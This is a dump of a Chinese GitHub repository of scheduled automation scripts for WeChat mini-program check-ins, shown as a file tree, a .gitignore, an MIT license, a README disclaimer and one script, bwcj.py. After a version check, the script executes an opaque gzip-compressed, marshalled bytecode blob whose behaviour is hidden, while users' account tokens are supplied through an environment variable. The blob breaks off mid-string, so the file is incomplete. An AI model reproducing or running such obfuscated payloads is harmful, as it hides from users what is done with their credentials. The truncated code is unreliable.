├── .gitignore ├── LICENSE ├── README.md ├── atxyq.py ├── bwcj.py ├── durex.py ├── hsay.py ├── jcqd.py ├── jingyoujia ├── Sign.jpg └── jyj.py ├── jissbon.py ├── nfsq ├── notify.py ├── sgs.py ├── shuyi.py ├── synspoint.py ├── tyqhDraw.py ├── wangchao.py ├── xinxi.py ├── yht.py └── zippo.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 WhiteHat 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 请严格遵守下列说明 2 | 3 | 本仓库 ql_scripts 4 | 5 | 这里的脚本只是自己学习的一个实践 6 | 7 | 仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断. 8 | 9 | 仓库内所有资源文件,禁止任何公众号、自媒体进行任何形式的转载、发布。 10 | 11 | Rookie-wb-WH 对任何脚本问题概不负责,包括但不限于由任何脚本错误导致的任何损失或损害. 12 | 13 | 间接使用脚本的任何用户,包括但不限于建立VPS或在某些行为违反国家/地区法律或相关法规的情况下进行传播, Rookie-wb-WH 对于由此引起的任何隐私泄漏或其他后果概不负责. 14 | 15 | 如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关脚本. 16 | 17 | 任何以任何方式查看此项目的人或直接或间接使用该Script项目的任何脚本的使用者都应仔细阅读此声明。 18 | 19 | Rookie-wb-WH 保留随时更改或补充此免责声明的权利。一旦使用并复制了任何相关脚本或Script项目的规则,则视为您已接受此免责声明. 20 | 21 | 您必须在下载后的24小时内从计算机或手机中完全删除以上内容. 22 | 23 | 严禁产生利益链 24 | 25 | 遇到问题可以及时向作者反馈 26 | 27 | 欢迎大家一起学习交流,各位大佬请嘴下留情 轻喷 28 | 29 | # 所有的脚本请先查看注释 不看注释的问题不会进行解答 30 | ### [点击此处加群](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=QvGUgdz3kF38tyLus2reyZ3is8r76U_E&authKey=644r%2BrEY9cTZVX3FN%2FG40y0spy0wp0otNkFtoqAjywEqQftFQYASB8T246CmaosK&noverify=0&group_code=555497377) 31 | 32 | ### [点击此处加入2群](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=QOeLvhO2b07rSmIczqkIxABXgSllzrdv&authKey=0kmB4lM51YQViVd%2Fij4tZcuGtzgZvfqfpQSWlr63d8t3kRhqLnTE88NPT6ONxF24&noverify=0&group_code=208141370) 33 | -------------------------------------------------------------------------------- /bwcj.py: -------------------------------------------------------------------------------- 1 | ''' 2 | vx-小程序 霸王茶姬 3 | 变量名: bwcjCookie 4 | export bwcjCookie='token1@token2' 多账号使用 @ 分隔 5 | author: 清风 6 | name: 霸王茶姬 7 | cron: 0 9,18 * * * 8 | 9 | updateTime: 10 | 2024-08-30 更新签到 11 | 2024.09.28 删除无效活动 12 | ''' 13 | 14 | import sys 15 | vesion = sys.version.split(' ')[0] 16 | if vesion.split('.')[1] == "10": 17 | print(f'你当前的python版本为 {vesion},即将运行脚本...') 18 | else: 19 | print(f'你当前的python版本为 {vesion},运行所需脚本环境为 3.10.x, 即将退出运行脚本...') 20 | exit(1) 21 | 22 | try: 23 | import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(gzip.decompress(b'\x1f\x8b\x08\x00\xdf\xe1\xf6f\x02\xff\xbd\x9aSw%\x80\xb2\xad\xb3bulwlv\x92\x8em\xdb6V\xb4b\xdb\xb6W\xect\xdc\x1d\xa3c\xdb\xea\xd8\xb6\xef\xde\xe7\xbc\xdd\x1fpj\xd4\x9c\xdfC\x8dQ\xf3\xb5\x1e\xca\x0c\xe2\xff+\xd8\xffH\xf8?\x02I\xff\xc7\xcc!\xcc\x01\xf6\x10\xba\xffK\x80.\xe0\x7f\x08\xa9\x0b\xf9?\x84\xd2\x85\xfa\x1fB\xebB\xff\x0fata,`- \n\xe0,`\n\xe0\xcd!\x0b\x01\x85\x80\x10\x00\xe0?\x135\x08:\xa8\x93\xff\xeeV\x04\xe9\xd0A@x\xe6\x02\x14\xe9\x1a\x96\xcc\xfeo\x93mh\xff\x9b\x0c\xec\x18\x8e\x1f\x18\xcb&\xf1tx\x02V\x96o\x8b\x93\xc1\x9a\xcfa\xa2\x85\x16>m\x81(f|\xa6\xcd\x937N%JJ\rO:\x83\x0cM4\xfbAz\xd5A\x8d\xd1\xe8\x10\x14\xf4\xc9\x83\xcf\x9f\xd3\xe6\xd8wB\x9f\x01u_\xd7$_\xd3>\xe7s\xebX\x01X\x01\x84\x9f\xd2\x9f]_z\xb7\x7f\x02\xee\xbfR\xdf\xe7\x85^\x03\x14?_H?\xb6Sz\xbe\x8a\xbf2\xf6\x8d\xc6\xbe\x94?o\xb6\xbf\xcc^\x9e\xbe>\xeb\x06\x85>\x12z\xfe\xdb\x7fz>.\x88\x9d\xbf\x9e\x95\xbe\xde{>u\xd7Wl\xee\x13\x84vI?\x02\xbc\xa3\x028\x1f\x8d\xe2\xccG\x02\xdc\x10&\xef]\x9f\x8b\xfb_/$rF\xad\xbf\x97\x8a\xbd\t\xb0\x9c\xdf\xb36}\xf9\xe4"\xd9\xed\x05$\xf0\xd1Q|\xbe\xfd\xc4\x9c\x105\xa5\x81\xaa\x9dS5\xad\xe6dX;\xb7\x8f\xf9F|\x86\x0c\xec\x11\xc2=n\xb6\xd5\x1b\x17\xda\xca\x1a&y\x8a\xb7\xc9\x06\xfcH?\xa4o\x96\x95|\x85\x0ef\xc9\xca\xc9\xe8.\x9bK\xf5#=l\xd2&_\xbdu\xbd\x9di\x196\xb7\xcc.V\xd6Ox\xce\xdc_h\xc4P\xb1A\xc5\x14L\xec\x816VU\x9e.\xf4}3\xe8\x08\xd1chj9\x85\xc5K+\x15p\x88\xe6\'3N\x82\xd1v!\xf3\x0c\x92j4O\x83L&~\xe61\x81KUd\x87\xd6(!\'\x9e\x11\x88\x92\x80\x1c\xac\x92\x12\xee\x05\xb0\x04\xf3#]\'\xd3\xc2\xe8S\xa4R| B\x7fW\xce\x14N\x84\x08\xc2*aDc\x9dz\xfa)\x1c\xc8\xcbP\xf2=\xf12\xef:\x90\x0cC\x85\xe7\x9dG\x06\xf5=\x1b\x87\xcc\x1b\xe2\x99\xe2W\xdcD \xf6\x9e\x1b\x19\x8c\xbd\x01@t\x89fxR\xd8\xca\x13\xe0*\x988\xdc\x0f1M\x1d\x85s$/l\xcb\x9e]\xe2]SU[\xb1\x04)w\xcd\x1d\xe9B\xed\xbd\xd9KcK\x8d\x0f\xc4$\x1a\x8c\xa0\x9f|E\xb3\x11\xd0D\t\x85e\x03\xc7x\x01\xbf7U\x17\x8fhhe\xder\r hi\x94 \xa5%/Y?\x1a*\x93\xa9Pn\xb9\xed^1W\x94\xfd\x92\xbe\xf5&\xf5\xec/\xbc\x1b\xb16\xedW\xa9\x82*\xb8\xcdT\xf9\xd3\xd2z\x0f5\x19\xa3\x90u\xa1\xd0\xb4\x8b)4\x99w\x95\x06@l4\xff#\xba\xeeJ9\xe2n\xa3\x8e\x15\xc1Y\x95\xf6\x05\x8c\xce\xfc\x93(\x97=\xe65\x03\xb7|\x9c\xac\x82\xc5\x1e\xba\xc2J\xb3\xd9s\xf0\x01\x18\x8e7\xe2p\x98k\x18\xd6kLh\xd6\xa9\x8f\x81\x0f\x7f\x97\x97^\xa9;4\xe7\xf9S\xe1\x9e\xff\xbb\x90aB\xef\xc1\xd6\xcc;\xab\xf9\xda\xfd\xa5\x07^\xf1\xc5\xaen\xe2\x90\xa14v8\x1d\xba\xde\x10P\xb9\xaea\x12\x01!\x8bl\xd5\xd8\xf9D\x80\xc3\xc1C#\x17\xa2\x03Z \xf8>\x93<\xb4\xdd\xb8\x0b\xf6k\xf4\xdf\x86\xc1\x1fi\x19}\x1a\xc8\x8a\xdb\xee\xa8\xbc2-3Ka-\xfd\x97\xa2Cd8\x1a\xb6\xf1s\x05\xaeFhJ\x99\xaa\xcc?\xa8\x1a\x16\x7f\xa6\x1d\xfdH4{>K\r\x1b\x89\xc9W\xcd\xed\xce\xaf\x9d\xe0\xba \x08\xb4\x8c\x80\xaaRNe\x8c\xe3/cB\x04\xf5T~\xfa\x17\x83%L\xa7j\xbd\xd5\xc1\xc4{[\xc9\xaew\x884\x9b\x0c\x8c\xb2\xe0B+!.\xb0<\xdc\x0e\xea\x1c\xd0\'\xc0e\xaeN\xa2\x07\xd0\xf0\xb3\x12\x1e\xe1\x9b\x93\x03\x7f]\x8ev\x9b\'2\x11\x12\xfb\x8f\xdb\xc6p\x03I\x06\x15$\xe1mm\x8b\x91\xb1&\xbd+"\x19\xb3\xed\xd7\x1a9v\xc0\xf3\xd5\xeb\x9eV\xdc3\xaf\x94<\xd0\xca\x00\xab \xc2\xcc\x1f\xf2\xd4xx\xe3\xca#\xfd\xb9\x84\x17\x9eR\xd3\xf4\xa9\xb06\xf5\xa8\xf4`\x01u\'8\xc8k\xd5\xbf\x02\xf5 /\x98\x12\xae\x1cQI\x88.\xbb\\\xfeBt\x12s\x9d/\xa9\xa4\xb0j\xd2\x1b\xdc\xa2\xe4\xa9*\xb0\xadL\xdb\xe5\xd0vb\x8e\xe6\xd8\xacG\xe7[\xb3\xadA\xf9Mv\x12\x00\x14\xed\x7f\xae\xfdv\xb4*w\x92\xca\xeb_\xbd\xb4\xb6\xdf\xddni\xbe\x8b\n\x87kQ\x8f\x16\xeaSG5\xf1\xe3\x92\x81\x18\xf0@E\x81~\xcd\xe7\x1eR\x86\xcc[o\x92\xd4\x08\xb8\x04ca\x12D\xde)\x0b\xaeB\xa4\x1c!\xd7`\xdd#2\'n\xdd\x8a\xf1\xb5|,\xa6\xcf\xf2\x85\x1f\xe0\xbecP\x14\xba\xce\xdc\xb5\xef\xc2\xdf*\xb9lmw/\xfeM\xa6C\x8c\x1c\xc6\x0f\x99P\xe1\xca\xe6\xb7\x81[r\x8d\x14s/\xd7\xb4\xd2\xb1\x86\xa6]\xa7\xc2+\xbe\xf4\x9f\x9e\xd8w\n\xeb\xe2\x18\xb57*\xaa\x1f\x98:F4F\xbb?n=KS\xa6\x03/\xd3\xa0jw\xa1\x0e\xf7\x97\x12\r\xf1\x9e\x0f\xb03\x0cWQ\xafR\xc0\x0f\xd3e\xc0 \x84\x8e\xce\xf7\xcc\xe6\x19\xc1:\x821\x11Nz\x14\xe0\x9c\xc3\xccn\x8c\xb3\x87\xc8L1j\xef\xbb\xffT\xa7\xbc\x92\xa0X_\x05k\xc7]\xaa\xbbo\xebcT\xf8c\xbe\xb6\xbe5O\xf0k\xb4\\`\xb3[P\xc6M;(\xa8\xfc\x1d\x95\xdb\x0e\x91\xa2\x94\x89\xc9$U\xfb\xc1\xd3w\xe6\xf0\xc1\xf4\x0f\x9e>\xa1S\xf6\xea\x05\xfdG\xaeP?O\x08\x96%\x17suzB\xdb\xb9T\xb3}A\x1a\x8b3A\xaaK\xac\xadH\\\x1fnu\xa2$\xf9\xcek\x96\xc5r\x03\xe1+\xa7M\t\xa3\xf5\xcc\xc64GX\x19\x98\x14s\x8bD\xcb\x13\xb1\x1b\x0fs\x17\xfe$\xbeD\xf4\xde\xbe`\xcd\xf1C\xfd\xe6t5V\x0eeSc\xa7$\xdf\xf1B|M\xc1Wa\xecN\xcb\xc3~\xc4\xa0\xc5s\x92\xf5\xca\x16\n|\x0cu\'UI\\\xea;\x98\x1a39\xe6\xa9\xba\x97\x96\xc8\x02b2\x8f\x1faFn`\xa5\xa5\xa2\x92\xb9I\xffR\xd98\xe4\x1b\xbc-\x14\xbc\x98\xdc~\x84\xf0\x1c\x10cN\xdd\x10\xf6\x0c\x91\x0f\x1d\xd6\xe4a\xd6\x1aU \xd1\xfb\x0ck\xb0\x0f\x89\xa1\t\xe9\x9c\xfd\x1e\x1f{\xe6\x93kx\xfe\xcc\xad7}\x8f$(7\x856\x9e\xf1\xb4\x9a\xce\xf3\xb6\xbb\xa9\xfc\xcb\xfc\'H\xffg.\xf2[\xfb\xc8\xa8\xe9\x9b\x8b\x15q\xb1\xe1\xab^q\xa3>\xee\xfe\xf2\x86\xdf\xf9{}\x8ctq\xe8}\xc7\xadL\xb7\xbcH\xc4\xcf\xca\xfa\xba\x05\x8aCi\xb2\xb5\x84|\xdb\xacJ\xcdf\x1a(nb\xc1\x9b!\xac\x17\x8e\xcf@\xd4O\x88`\x1d\xa8\x05\xe7\xd5-\xe8\xeb7\xdf/X~A\x07\xc7/\x8deX\xd6g=]aO\xfb\x82\xc5\xa3\xcfA\x05A\x174\xf9q\xd0\xa6\xee\xe3`K\xe0\x87\x81\x16\x01\xec\xd4Jr\x80"\xb9\x81\xc4w\xa1j\xa9\x8f\xf7`\x01S\n\\\xc1\xf4\xd6\x11x\'R\xbe\x92:&\x9f\xb6\xe4\xca\x92\xf4\xbcv\xc8\xcb]\xd6\xa2\x1d\xcdWF\xbe\xcb\x19\xc1\x9c\x91m\x8e\x14[\x92\xd5\xe3\x8a!\x9d\xe2_\xd4+.m{\xdc\xf0\x85\x8c(\xde\xc7R."\x17\xf8\xe3,\xd7\x95\x1a\x0f\tR\xab\xd04Y\xdf\x89:\xda\x08\xb7b7q\xb8\xa4\xed\r\xbb .\xa9Ho\xef)y\x9f\xed\xa8p\xb3\xdd\xeaTW\xb5\x9f4K\xbe\x92.\x8e\x19X.p\xbeFtr\xca\xb5\xb1a\x93Q\xd7\x17\xbeh\xbe\xc7\xf2g\xe6\xa2Y$q\xd1l\xa9\x0bm<\x89b\xc0\xd2yub\xa3\x0c\xb0\x8c\x7f\x12\xe7\x90\xe8\xa0\xedb\xa5O:\xf1\t\x12\xd8U\xc4Yn\xf2\xfc\xf1\xbaCG-\x84\xbe\xd1\xc2\xc8K\xaa,\xffmy\xf3dk\xfd=;\xbc\xaa9\x07\xbaio\xbeR\xfa=\xacvJ\xdc\xc4f6\x847;h\xba\xb1\xdf\x07L9\xcaH\xa8\xd4\xc8\xe3\x00R\xfc>\xbbl\xea\x98\x8c\x9f\x8f\x13>2g\xc7b}\x9aQ#\xd4 \xa0\x18\x17\xb5J\xa2\x8b\x9e\xc4\x97)\x91\xcdt,l\xa9\xb8j\xaah|e\x10\xdb-U\x94>\xf4\x1d\xe6O^\x827\xb3i\xe3w\x8f4\x04\x15\x84\xf1\xdel\x0b\xef>\xc1\x7f\xe6\xd4\x1f\xfe4Ww\xe1\x85\xb1\xf9\xad\xa5y\xc8\xed0%\x89l\x88q\xf0S\xadUf\xb3\x9e\x10J\xce\xe4\xeeO\x96\xa3\xe5\xd9dZ\x8b)7Z\xfa\xce\xdb\xab\x91\xaad\x94,cv\xd1cm\xbb\xc5O\xfe\xdc\xec\xe9V6\xf2\xbd\x9c\x1f!u1\xa7j\xf9\xa2\x89M\xf1\xce\xa6&@\xf6\xa7\xbd\xa1+\x11\xb5_\xe6F\xc6J\n\x16\xe9\xa6Vd&\xff\x92\xd4V\xcb\xc7\xa9\xb4\xe2EC.\x82.\xeb\x05 :p\x0b\xf0j\xea\xc4\x0cS\xa7\xdd\xfd\xf6\xbbI\xb8y\xf7iv"\x84\x8d\xfd\xdd\x82*\x8d8\xdf\xc2\x1a\x10-7\xfa\xb2\x90\x91\xc3\x83y\xf2\x13\x9f\xa9"\xb0\x8ao\xcfY\x01\xe8\xf5\xb3\x81\x99B\xd4r\xb7\xc3\xcc\xce\xce\xedm\xb3jOc\xc5\xca\xb8\xcd\x10|\x93s6\x11\x86\xf1C|\'\xb7g\xbc]2w\xfbO>Q\xd3D\xbc\x82\xf7>\xfd\x08P\xc8\\\xa1uN\x96\xf6\x89\x91\xe5t\x14\'&\xdc\xc8\xd9\xf1\xa2\xc4\xce\x8bz\xf3\xde+\x8b2\xa7%\xadnv.\xbd;j\xc5\x87\xc1\xea\xe8m\x06n|\x95; \xc6\xf1J\xed\x13\xc1m\x7f\xea\xb9\xffFK*gL\x90[5l\x0e\xc1wB\x8c\x0e\xba\xc5\x8a\xb4\xaa{\x1aI4\x84\x7f\x1c\xcaB3\xa6\x1b~\xb0g\x07{\xb0\x060\xc9T\x9d[\xd9U\xe96\x02\x98\xb1\xd5\xe8\xb8\x130\xaaJ{\r\x0c\x19\'-\xaf\xbf\xef\xd2\xa2\xf2\x1d8\xa3`\x8f@\x83\x0b\xc4O\xa4\xeb\x8bd\x8fbO\x1cG\xa0\x08\xd1]\xe8\x159\t\x95\x90F\x8f=\x06\xc4)H\xf7znF\xacX\xdcz\xe8o\xe8>\xc64u?g\xd1\x0c\x9b\x9a_]e\x83}\xcdL\x7fw\xc3$9\x90\xf9K5c\x05-\xfa?%\xf5\x1b\xdf\x8d\xfeE\xf8\xdd5E\xdd%\xf0\x8dp\x83\xb7\x9f\xab\'\xbd\xbd\xaa!\xc85\xe8\xcd\x81\x1f(\xe9\xcd\xa3l\xce\xecG7\xafCL\xdb>\x88\xf2\xedRhfs\xab\xae\xcb\xa8\x93\xb9\x81\xec~\xf9\x14\xe0\x9c\xe5~\xfd\xc0\xed\xe4\x1fL(*\xde"k\xe9\xbbB\x9f\xd4O\x10"[(\xcfO\xb7\x81%\x12\xd25\xe9\xc8\xf4T\xf1\xecu\x82e?W\x9c\xef\xe8\x90\xd0\xf0\xa3\xf1q\xda\x81\x9f\xbb\x90uYJntB.\x97\x052\xc3\x93\xe6\xdc\x0cjz}a\x10{t\x18\xceu{i\xd5\x8b\xb8HUjm\x95W\xa1q\xec)\xa2S\x9b\x94\xcb\x14\xcb\\[\xd5\xb2K \xe9\xb6E\\x\x174\xaf<\xf6\xf2\x17\xa8\xfd\x97\x93\xf4m\xe3\x10\x84\xde\x154\x035M\xfak\xf3\xa1\xf7G\xaf\x0e\x06=\x1ch\xeb\xf4\xf2\x08\x7f\x1a\x99\xc7\x01\xf9-j\xedHQ2\xd2y6.3\xaf\xff\x9a\xf8p\xdb\x9d\xc8\xe0\x92[F\x1e\x80T\xdb4l\x81\xbch\xdc|\x90P\xd2\x00\xb5\x8c\x07}x\x11L\x8a\xd4%0\xa6\xf7\xe7\xd1\xb3\x1e\x82;\x85\x14\xdc\xb5\x07\x19\xe2d\x12\xc3 \x94\xfd\xbb\x86\xd2*\xaa\x8a?\xa7j&\x0b\xa0\x03\x11_\xb1?]\xb3eq\xd1\xdb`ue\x89\x8d\x82v:s\xf2/\x97i7 \xdcZ\xc3\x90\xbd\xb3\xe3a\xfc\xd5\x8f\xa4\x06_z\xd3[\xe4\x8ex\xb9\xd3\xebl\x91\xf8\xf7{pE\x8e\xa4\x9d&1\x14\x1e{\x1eh-r\xba\xb4\xe8\xc7\xda\x93\tf\xac\x13\x15\x17\xeeq\xc4d\xe1\xcf:w\x90\xd8\xf9`\x9a\xad\r\xce\x1d\x1303Km\xf3\xc0x_\xc2A\xf5\xfa\xea\x1b\xfe\x07\x8cNg\x81g\xe7\xc7\xa2\x82u\xfe\xe2$\nH(\xba\xb8\xaf)fz\xf6\xaa~\xe6e`\xad\x10\x84\x85Jq\x96\x94\xf0`2\xdb\x88f\x1e\x96\x0b\xc5\xc6jBR1\xdbr~9\xca&M\xa0\xd4bB\xc3\xe1\x94B?\rt\xd1\x7f\xe6\x17\xa9\x81on\x9d\x0e\x85\x87\'D\xb6\xe1\x1a\x14k\'\x1b\x1c\x0c\xa1\xbc[!%\xff\'\x7f0\x85F2\xe6\xba\x1c<\x0c1mX\xc2E/8\x9bT\x86|\xbdv\xc0\xe2 \xfd\xcd)\x84~$\xcb\xee\x1a8SF\x8cg\xac\xebAn\x08m\x18:\x02\xef\xae_\x87)\x95\xf4 \xe6\x1daC\x04\x1ch\x0cw\xac\x99\xd7\x8au#\x87\xf5\nG$\xb7R\n`e\x82\x90s\xff\x966\x86N\xf1\xca\xc9\xf0\xb9l\xf2c@\xaa\xd4Y\xd0yM\xa9:4\xd9\x046@\x01\x97\x9b\\i\xc4_\\\xa7\xb5D\xca\xef\xfd\xf4wT]E\x80/G^\xf8\xde\x80T\xf0\x0b\xad\xc8.m\r\xfeo\x9d\xcaT\x12\x03\xfbB~\xb5\x81\x98\xf9\xcf][v\x81g\xe0\xc1\x13\x94\xfe\x0b\xc9\x0f\x89W\x99\xcek\xad\xba\xc5\xdbl`\xb8\xb0\xd0\xa8\x15\xa7me\x86\xcaK\x01b\x0b\xf1^\xa0\x1c\xb58\xa1\x0c\x99\x84\xba\x0c\xb1<\r\xf9o4{X\xc0%\xe1s\nM\xe2c\xaa\xb2\xd4[\xf3\x88\xe98\x16\xf4\xb2\x95\x002\xc1/{;7\xb1\xbc\xe6\x92\x83C\xae\xd2y\xdd*\xe6\x07\x1fR\xc3xIx\xe1\xcb\x03=\xa7\xa2=\xedb(q\x8dW\t\xa9\x9as:\xafN\xcb\x8f\xf1\xe8IM\xcf\xa0|\x01\xbfi=\x90\x95\x99\xbdK\x04\xd3\xdc\xc3D>u#|\xe9\xed\xeb\xe9iz$$>,\x9b\xd4\xbb\x84\xd5\xe7\xba(\xd8\x10pZ\xb6K\xf6\x04uS\xa2\xcb%E=Z\xbau1\x8fV\xdc+_\x9f5\x125\xc6\xe9E\xb9f\xcb\xf6\x0f#\x89\xd5\xeaI[{\x17\x9a*u\x08L\xe8#hX<\x8bD\xfc\xaf\x80\t\xcb\xdf\xa2\xbf\x02\xe9Z\xca\x1dJ.\xdc\tL\x1a~\xad\xcdOH\xfe\x04\xd1\xf2;\xe9\x8ccw;\xaf\t\xf7Rz\xda\x88\xfb\xdc:[.\x0e:a/d\xd7-@\x904s\xa0\x836\xfd\x1b\xe0E\xd7\x88\xdc\tS\xc3\x9aox$|\x08\xbb\x86\xcb\xcb\x9a\xaatW\xd3"(\xafd\xd5\rW\xc1}\x9ca\x86+\x92[\x99\x83\x1a\xfb\xb9\xad:\xd9E\x985\xe6\t\xe9[\xf5W\xf8:s\xd7\xa5\x91\xfa\xd2P\x18\xbc\xa9;v\xb4niV\xdc\r#jo\xd6\xc1z\x98\r\x88\xfd\xb5\xd4\x8e0Ro\xddT\x84\xf5S9\xdeV\xc0\x01mJ?\xd9L\xd3\xcc\xb0\xc4\x82\xa87Re\xeb\xe0E7B\xdd\x90\xb4\x01\x83{c\x99\xabg\xb15\xd1c\x94\xe8\xf5\x04~\xa8\xcb\xc5E\xa4\xaag\xdc\x91Mc\xc1\xf6\xe3.\x9b\xca\xac;]\xa6U\x7f\xaa^s\xab\x96M;l\xb4\x91M\xbe\xb8\xeb\x1d\x9e\x93\xff\xe5G\x8c\x19fg\xd0\x9eI7p9\x90\xae)|Ir%\xb7\x9ezC\xeaf\xcdI\x81b\xc5\xb9\x1a~\xd1T\x19\x945\xd5P6\x97\xdf\xbd\x82K<%\x99\xef\xaf\xab\xdf\x9b\x94\xfe\xb7\x12\x11\xa5\xeah/\\k\xd9\xe92\x97@]^H\x1e}\xb7\x0f\x84!\xe4\xe7_\x0f\x96E\xf5W\xcd\xe41\xa7\x11`\xbc\xc5\x17\xa9\'\xa3\xea\x1a\xc2\xaf\xa4\xb3\xfaw\xac\xbf\xb1\xe4\xc9\xb1\xad|,}\xba\xdf{\xd3hNe\xb0\x85\xa4\xcd\xcf}\xd3\xd0\x0e\x8d\xf2K7Ehh8\x88\x9f\xcf\xa6\\\xb9z\xc2\xa9\xd1Q}\xf3\xde\xc95\xa3\xa85\xe1"2\xddF\xa9\xf6\xa1\x8b\x84\xb9F\x0c\xce\xa0\x07%tQK\xf5Kt\xed\x90\xb7t?\x8e\xcb\xa8r\xba]\x8a.\xf3\x04U\x1b-;\xdbh\x80\xe7\x0f\xf3\xb4\xc4c\xb9\x1a\xc8\xe6\x81\xa3\xef*I\x9f\xad,\x0e\xa4b0\xa0\x90\xf6\'\xac5\xbf\xe3\xf3\xa1|\xb3\xa1\xa79\x92}c\xa4\xda4\xf8j\xdb\xb7\x05\xa9\x98+\xdd\xcf\x1bg\xe7V;\x84dbwch\xec\xe8\xe1\xce\xca\xf6\xd6Su\xa3\xea(\x9b9\xcam\x12\x1d8\x18\x049c\x12\x17n\xa4\xc1\x1e\xd7\xa0\x1f\xb0[\x0f\'\x04\xed7B\xf2j\x92\xa5\xf2Ig\x89\xc2\xae\xc7#\xaa@B\xcbC\xfc4wsFB\x9f\x1c\x01\x905\xc4\xab\x19#|h\x9b2m\n.\xcf2\x816,\xff\xa6\x0b\xb5Le\xfe\xfd~\x01\xe6\x8a\x08\x1f\xbc;\xa5\x15\x1e\x98\xf5\x06{\xee\xfc\xd5n\xc7I|\nw\xfe\xf03f\xc3\xbd\xd9\xc9E\xf3\xdc\xefveE\xbe8\xe7\xccC\x03\xd1\x10gx`\x93\xfc\x89\xf7\xd9\x1du\xf3\x03\xfa 